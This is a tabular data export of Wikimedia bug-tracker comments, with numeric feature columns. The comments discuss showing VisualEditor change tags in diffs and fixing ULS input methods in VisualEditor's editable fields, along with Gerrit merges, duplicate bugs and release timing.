239171,VisualEditor: Show VisualEditor tag in diffs,"The core change is done in MW master, and will be part of wmf10; as such, marking this as fixed.",,,1373486407,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-hmd3ybxvx2oovxcgcs5b,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,8.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,17.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.2083333333333335,0.9166666666666666,"The core change is done in MW master, and will be part of wmf10; as such, marking this as fixed."
239167,VisualEditor: Show VisualEditor tag in diffs,"Change 72317 merged by jenkins-bot:
Show change tags on diffs

https://gerrit.wikimedia.org/r/72317",,,1373483242,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-hmd3ybxvx2oovxcgcs5b,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,6.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0625,1.0,"Change 72317 merged by jenkins-bot:
Show change tags on diffs

GERRIT_URL"
239163,VisualEditor: Show VisualEditor tag in diffs,"(In reply to comment #5)
> Because revision tagging is really incomplete, as I recall, lacking
> the ability to do all the things you might want to do with revision
> tags (like manually adding one, removing an incorrect one, renaming
> one, etc.).

File a bug :) Change I8ace1d47 (now abandoned) attempted to add an API
module for this, it could be used as a starting point.


(In reply to comment #5)
> Matthew also brings up another major point in comment 4.
> Historically revision tags have been added with AbuseFilter filters
> (Andrew G. wrote both the AbuseFilter extension and the core
> revision tagging feature, as I remember it). Consequently, making
> ""possible libel"" or other similar tags more visible in the user
> interface may not be a great idea until revision tagging is further
> developed.

They are not really *that* visible, they're displayed just like edit
summaries, but without the italics. (Of course wiki admins can make
them show up all uppercase, bold and on neon-yellow background.)",,,1373226492,,PHID-USER-wkpnidxoctuhawexig5p,True,,,PHID-TASK-hmd3ybxvx2oovxcgcs5b,task_subcomment,,True,c1,3,True,,,0,,1.0,0.0,0.0,0.5,1.0,3.5,0.0,0.0,0.0,0.0,1.5,1.0,0.5,0.0,0.0,0.0,0.0,5.0,8.0,0.0,1.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,1.5,0.0,0.0,1.5,1.0,0.5,2.5,0.0,0.0,0.0,0.0,0.0,0.0,2.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,11.0,1.5,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,1.5,12.5,0.0,1.5,4.5,0.0,0.5,0.0,1.0,4.0,0.0,1.0,0.0,3.0,8.0,7.5,0.0,0.0,0.0,3.0,0.0,0.0,1.5,1.0,0.0,0.0,0.0,0.0,3.344827586206897,0.6810344827586208,"(In reply to comment #5)
QUOTE
QUOTE
QUOTE
QUOTE

File a bug :) Change I8ace1d47 (now abandoned) attempted to add an API
module for this, it could be used as a starting point.


(In reply to comment #5)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

They are not really *that* visible, they're displayed just like edit
summaries, but without the italics. (Of course wiki admins can make
them show up all uppercase, bold and on neon-yellow background.)"
239156,VisualEditor: Show VisualEditor tag in diffs,"(In reply to comment #3)
> Personally I see no reason to show any tag in history view, but keep it
> hidden on diff view. What would be the use case?

Because revision tagging is really incomplete, as I recall, lacking the ability to do all the things you might want to do with revision tags (like manually adding one, removing an incorrect one, renaming one, etc.).

Matthew also brings up another major point in comment 4. Historically revision tags have been added with AbuseFilter filters (Andrew G. wrote both the AbuseFilter extension and the core revision tagging feature, as I remember it). Consequently, making ""possible libel"" or other similar tags more visible in the user interface may not be a great idea until revision tagging is further developed.",,,1373162088,,PHID-USER-hyfm4swq76s4j642w46x,True,,,PHID-TASK-hmd3ybxvx2oovxcgcs5b,task_subcomment,,True,c1,3,False,,,0,,0.5,0.0,0.0,1.5,1.0,6.0,1.5,0.5,0.0,0.0,4.0,0.0,0.0,0.0,0.0,1.5,0.0,5.5,8.5,0.0,1.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.5,0.0,0.0,4.0,1.5,1.0,4.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.5,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,1.0,0.0,1.5,1.0,1.5,0.0,1.0,0.0,0.0,0.0,4.5,3.0,8.5,0.5,1.5,6.5,0.0,0.0,0.0,0.5,3.0,0.0,2.5,0.0,2.5,8.5,3.5,0.0,1.5,0.0,2.5,0.0,0.0,1.5,0.0,3.0,1.0,0.0,1.0,4.223076923076923,0.7769230769230769,"(In reply to comment #3)
QUOTE
QUOTE

Because revision tagging is really incomplete, as I recall, lacking the ability to do all the things you might want to do with revision tags (like manually adding one, removing an incorrect one, renaming one, etc.).

Matthew also brings up another major point in comment 4. Historically revision tags have been added with AbuseFilter filters (Andrew G. wrote both the AbuseFilter extension and the core revision tagging feature, as I remember it). Consequently, making ""possible libel"" or other similar tags more visible in the user interface may not be a great idea until revision tagging is further developed."
239150,VisualEditor: Show VisualEditor tag in diffs,"(In reply to comment #3)
> Personally I see no reason to show any tag in history view, but keep it
> hidden on diff view. What would be the use case?

It might be annoying to have AbuseFilter tags exposed on the diff UI, since they are known to sometimes be inaccurate (like any automatic classification).  When you're looking at the diff, you see the full change, so automatic classifications are less necessary.

However, I think it's reasonable to just show all the tags for now, and revisit if it turns out to be an issue in practice.",,,1373150736,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-hmd3ybxvx2oovxcgcs5b,task_subcomment,,True,c1,3,True,,,0,,2.0,0.0,0.0,1.0,0.0,9.0,4.0,0.0,0.0,1.0,3.0,1.0,0.0,0.0,0.0,1.0,0.0,7.0,15.0,0.0,5.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,7.0,4.0,3.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,2.0,0.0,2.0,0.0,0.0,0.0,10.0,0.0,0.0,1.0,2.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,5.0,5.0,10.0,3.0,1.0,7.0,0.0,0.0,0.0,1.0,7.0,0.0,1.0,0.0,7.0,15.0,2.0,0.0,0.0,0.0,7.0,0.0,1.0,1.0,0.0,1.0,1.0,0.0,0.0,3.7872340425531914,0.723404255319149,"(In reply to comment #3)
QUOTE
QUOTE

It might be annoying to have AbuseFilter tags exposed on the diff UI, since they are known to sometimes be inaccurate (like any automatic classification).  When you're looking at the diff, you see the full change, so automatic classifications are less necessary.

However, I think it's reasonable to just show all the tags for now, and revisit if it turns out to be an issue in practice."
239146,VisualEditor: Show VisualEditor tag in diffs,"(In reply to comment #0)
> because it might need to be configurable (it might be
> we don't want all tags, such as AbuseFilter, etc. to show on diffs).

Personally I see no reason to show any tag in history view, but keep it hidden on diff view. What would be the use case?",,,1373145320,,PHID-USER-wkpnidxoctuhawexig5p,True,,,PHID-TASK-hmd3ybxvx2oovxcgcs5b,task_subcomment,,True,c1,3,True,,,0,,2.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,12.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,7.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,15.0,0.0,2.0,7.0,0.0,0.0,0.0,2.0,10.0,0.0,2.0,0.0,5.0,12.0,0.0,2.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.1707317073170733,0.9024390243902439,"(In reply to comment #0)
QUOTE
QUOTE

Personally I see no reason to show any tag in history view, but keep it hidden on diff view. What would be the use case?"
239142,VisualEditor: Show VisualEditor tag in diffs,"Change 72317 had a related patch set uploaded by Matmarex:
Show change tags on diffs

https://gerrit.wikimedia.org/r/72317",,,1373144622,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-hmd3ybxvx2oovxcgcs5b,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,21.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,16.0,0.0,5.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.368421052631579,1.0,"Change 72317 had a related patch set uploaded by Matmarex:
Show change tags on diffs

GERRIT_URL"
239139,VisualEditor: Show VisualEditor tag in diffs,"Core change request created as bug 49656. Until that's done this is a ""later"", sadly.",,,1371419564,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-hmd3ybxvx2oovxcgcs5b,task_subcomment,,True,c1,2,True,,,-3,,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,10.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.380952380952381,0.9047619047619048,"Core change request created as bug 49656. Until that's done this is a ""later"", sadly."
51569,Make ULS input methods work in content editable divs of VisualEditor,"ULS IME not working with Visual Editor fields

--------------------------
**Version**: master
**Severity**: major
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=50722
https://bugzilla.wikimedia.org/show_bug.cgi?id=53700
https://bugzilla.wikimedia.org/show_bug.cgi?id=53701
https://wikimedia.mingle.thoughtworks.com/projects/language_engineering/cards/3493",Medium,50.0,1371201120,1453749464.0,PHID-USER-4jecvpv4h62htut6pxez,False,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-okxdqrb2z7y2e2t7su5q,task_description,resolved,True,c1,2,False,False,False,-3,,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.1666666666666665,0.47619047619047616,"ULS IME not working with Visual Editor fields

--------------------------
**Version**: master
**Severity**: major
**See Also**:
URL
URL
URL
URL"
596676,Make ULS input methods work in content editable divs of VisualEditor,"As of https://gerrit.wikimedia.org/r/#/c/264577/ in #jquery.ime this should now be resolved and working for all users, and will be part of the wmf.12 release starting tomorrow.",,,1453749454,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-okxdqrb2z7y2e2t7su5q,task_subcomment,,True,c1,3,True,,,134,,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,18.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,7.0,0.0,7.0,11.0,0.0,0.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,18.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.035714285714286,0.8928571428571429,"As of URL in #jquery.ime this should now be resolved and working for all users, and will be part of the wmf.12 release starting tomorrow."
237041,Make ULS input methods work in content editable divs of VisualEditor,*** Bug 58662 has been marked as a duplicate of this bug. ***,,,1389025443,,PHID-USER-w5a723w3wes6jd5wskgg,False,,,PHID-TASK-okxdqrb2z7y2e2t7su5q,task_subcomment,,True,c1,3,False,,,27,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 58662 has been marked as a duplicate of this bug. ***
237035,Make ULS input methods work in content editable divs of VisualEditor,Please use bugzilla as the single place o make issues known that are relevant for developers. References to lists of issues on wiki pages will not do.,,,1377961711,,PHID-USER-w5a723w3wes6jd5wskgg,False,,,PHID-TASK-okxdqrb2z7y2e2t7su5q,task_subcomment,,True,c1,3,False,,,8,,0.0,0.0,0.0,0.0,3.0,10.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,7.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,31.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,7.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,7.0,3.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,4.275862068965517,0.9310344827586207,Please use bugzilla as the single place o make issues known that are relevant for developers. References to lists of issues on wiki pages will not do.
237031,Make ULS input methods work in content editable divs of VisualEditor,"(In reply to comment #13)
@ Santhosh Thottingal  Please have a look at [https://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback#VE_.2B_ULS_unicode_Devnagari_Script_input_issues].I have added a table of known issues today.

Rgds",,,1377957239,,PHID-USER-azy72hrp3tpetr52aob6,False,,,PHID-TASK-okxdqrb2z7y2e2t7su5q,task_subcomment,,True,c1,3,False,,,8,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,19.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,6.0,3.0,3.0,0.0,0.0,13.0,10.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,3.3225806451612905,0.9354838709677419,"(In reply to comment #13)
@ Santhosh Thottingal  Please have a look at [URL have added a table of known issues today.

Rgds"
237028,Make ULS input methods work in content editable divs of VisualEditor,"With https://gerrit.wikimedia.org/r/#/c/79755/ jquery.ime start working in visual editor. The UI is not integrated well with the VE UI. And there are VE specific bugs related to cursor handling and text selection, that are applicable to all IMEs or non latin text.",,,1377491236,,PHID-USER-m2yck6646cdt5t6zkta4,False,,,PHID-TASK-okxdqrb2z7y2e2t7su5q,task_subcomment,,True,c1,3,False,,,8,,2.0,0.0,0.0,2.0,2.0,7.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,20.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,20.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,9.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,4.133333333333334,0.8444444444444444,"With URL jquery.ime start working in visual editor. The UI is not integrated well with the VE UI. And there are VE specific bugs related to cursor handling and text selection, that are applicable to all IMEs or non latin text."
237024,Make ULS input methods work in content editable divs of VisualEditor,"Hi, 

Thanks for your reply,I know in any case you will be doing your best to make both extensions compatible.What will be likely situation during the time gap,so please let we know if you can think of any easy time gap solution can be made available.Other wise even while ULS is with us, we will be back to square one. 




Warm Regards",,,1374250703,,PHID-USER-azy72hrp3tpetr52aob6,False,,,PHID-TASK-okxdqrb2z7y2e2t7su5q,task_subcomment,,True,c1,3,False,,,2,,3.0,0.0,0.0,1.0,0.0,9.0,4.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,5.0,0.0,4.0,12.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,4.0,0.0,3.0,4.0,0.0,1.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,7.0,11.0,3.0,0.0,5.0,0.0,0.0,0.0,0.0,11.0,3.0,1.0,0.0,11.0,12.0,4.0,0.0,0.0,0.0,11.0,0.0,1.0,0.0,1.0,1.0,0.0,1.0,0.0,3.68,0.7466666666666667,"Hi, 

Thanks for your reply,I know in any case you will be doing your best to make both extensions compatible.What will be likely situation during the time gap,so please let we know if you can think of any easy time gap solution can be made available.Other wise even while ULS is with us, we will be back to square one. 




Warm Regards"
237020,Make ULS input methods work in content editable divs of VisualEditor,"It's probably important to manage expectations here.

Tl;dr: it's not realistic to assess that ULS/jQuery.IME input methods will work in VE before the end of July 2013. At this time, no reliable estimate can be made when this is to be expected. Working towards getting this issue resolved has a high priority in the VE and LE teams.

Input methods for many scripts, either natively supported by an operating system, by an application, or by JavaScript, are currently incompatible or at least lead to unexpcted behavior when using VisualEditor.

Possible ways that will allow this to be resolved are currently being explored. I expect that by the end of next week, The VisualEditor and Language Engineering team will have an understanding that will allow them to estimate how much time is needed to make native input possible in most, if not all scripts, when using VE. Once that is done, further exploration is needed to assess the effort needed to make input methods work correctly, including the input methods of ULS/jQuery.IME.

See bug 33077 for more details. In the near future, I expect we will be able to identify issues that need to be resolved before we can work on this issue specifically in the field ""depends on"".",,,1374241350,,PHID-USER-w5a723w3wes6jd5wskgg,False,,,PHID-TASK-okxdqrb2z7y2e2t7su5q,task_subcomment,,True,c1,3,False,,,2,,1.0,0.0,0.0,3.0,0.6666666666666666,6.333333333333333,1.0,0.0,0.0,0.3333333333333333,1.6666666666666667,0.0,0.0,0.0,0.0,1.6666666666666667,0.3333333333333333,5.0,12.333333333333334,0.0,3.6666666666666665,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,0.3333333333333333,0.6666666666666666,1.6666666666666667,0.0,4.666666666666667,2.3333333333333335,0.6666666666666666,0.0,0.0,0.0,0.0,0.3333333333333333,1.6666666666666667,0.3333333333333333,0.3333333333333333,0.3333333333333333,1.3333333333333333,0.0,0.3333333333333333,0.0,1.0,0.3333333333333333,11.666666666666666,0.6666666666666666,1.6666666666666667,0.0,0.6666666666666666,0.0,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,1.0,0.0,1.3333333333333333,0.3333333333333333,4.333333333333333,4.333333333333333,9.333333333333334,2.3333333333333335,1.6666666666666667,7.333333333333333,0.0,0.0,0.0,0.0,7.333333333333333,0.0,0.6666666666666666,0.0,2.6666666666666665,12.333333333333334,5.666666666666667,0.0,0.6666666666666666,0.0,2.6666666666666665,0.0,2.3333333333333335,1.3333333333333333,0.3333333333333333,1.6666666666666667,0.3333333333333333,0.6666666666666666,0.0,4.154471544715448,0.7560975609756099,"It's probably important to manage expectations here.

Tl;dr: it's not realistic to assess that ULS/jQuery.IME input methods will work in VE before the end of July 2013. At this time, no reliable estimate can be made when this is to be expected. Working towards getting this issue resolved has a high priority in the VE and LE teams.

Input methods for many scripts, either natively supported by an operating system, by an application, or by JavaScript, are currently incompatible or at least lead to unexpcted behavior when using VisualEditor.

Possible ways that will allow this to be resolved are currently being explored. I expect that by the end of next week, The VisualEditor and Language Engineering team will have an understanding that will allow them to estimate how much time is needed to make native input possible in most, if not all scripts, when using VE. Once that is done, further exploration is needed to assess the effort needed to make input methods work correctly, including the input methods of ULS/jQuery.IME.

See bug 33077 for more details. In the near future, I expect we will be able to identify issues that need to be resolved before we can work on this issue specifically in the field ""depends on""."
237016,Make ULS input methods work in content editable divs of VisualEditor,"Hi,

Waiting for this to be available for test,if possible  couple of days before VE to be launched on vernacular wikis which are dependent on ULS. Time table for hi and few other wikis is expected to be 22nd July 2013.


Thanks and Warm Regards",,,1374238606,,PHID-USER-azy72hrp3tpetr52aob6,False,,,PHID-TASK-okxdqrb2z7y2e2t7su5q,task_subcomment,,True,c1,3,False,,,2,,2.0,0.0,0.0,4.0,0.0,15.0,6.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,13.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,9.0,17.0,2.0,4.0,4.0,0.0,0.0,0.0,0.0,6.0,2.0,2.0,0.0,0.0,21.0,11.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,3.830188679245283,0.7924528301886793,"Hi,

Waiting for this to be available for test,if possible  couple of days before VE to be launched on vernacular wikis which are dependent on ULS. Time table for hi and few other wikis is expected to be 22nd July 2013.


Thanks and Warm Regards"
237012,Make ULS input methods work in content editable divs of VisualEditor,*** Bug 51354 has been marked as a duplicate of this bug. ***,,,1373968970,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-okxdqrb2z7y2e2t7su5q,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 51354 has been marked as a duplicate of this bug. ***
237006,Make ULS input methods work in content editable divs of VisualEditor,"**ansumang** wrote:

Santhosh, I think by changing the summary, we could avoid the duplicates?

(In reply to comment #7)
%%%> *** Bug 50345 has been marked as a duplicate of this bug. ***%%%",,,1372424196,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-okxdqrb2z7y2e2t7su5q,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,9.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,3.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,2.0,3.0,10.0,3.0,0.0,3.0,9.0,5.0,2.0,0.0,0.0,3.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,2.7758620689655173,0.7068965517241379,"**ansumang** wrote:

Santhosh, I think by changing the summary, we could avoid the duplicates?

(In reply to comment #7)
%%%> *** Bug 50345 has been marked as a duplicate of this bug. ***%%%"
236999,Make ULS input methods work in content editable divs of VisualEditor,*** Bug 50345 has been marked as a duplicate of this bug. ***,,,1372403231,,PHID-USER-m2yck6646cdt5t6zkta4,False,,,PHID-TASK-okxdqrb2z7y2e2t7su5q,task_subcomment,,True,c1,2,False,,,-1,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 50345 has been marked as a duplicate of this bug. ***
236989,Make ULS input methods work in content editable divs of VisualEditor,"Making this a bug instead of a feature, as we would expect the key mappings to work on any input field that is more or less supported for well supported and stable MediaWiki extensions, including VisualEditor.

Set to highest priority. Tracked on Wikimedia Language Engineering team as https://mingle.corp.wikimedia.org/projects/internationalization/cards/3493

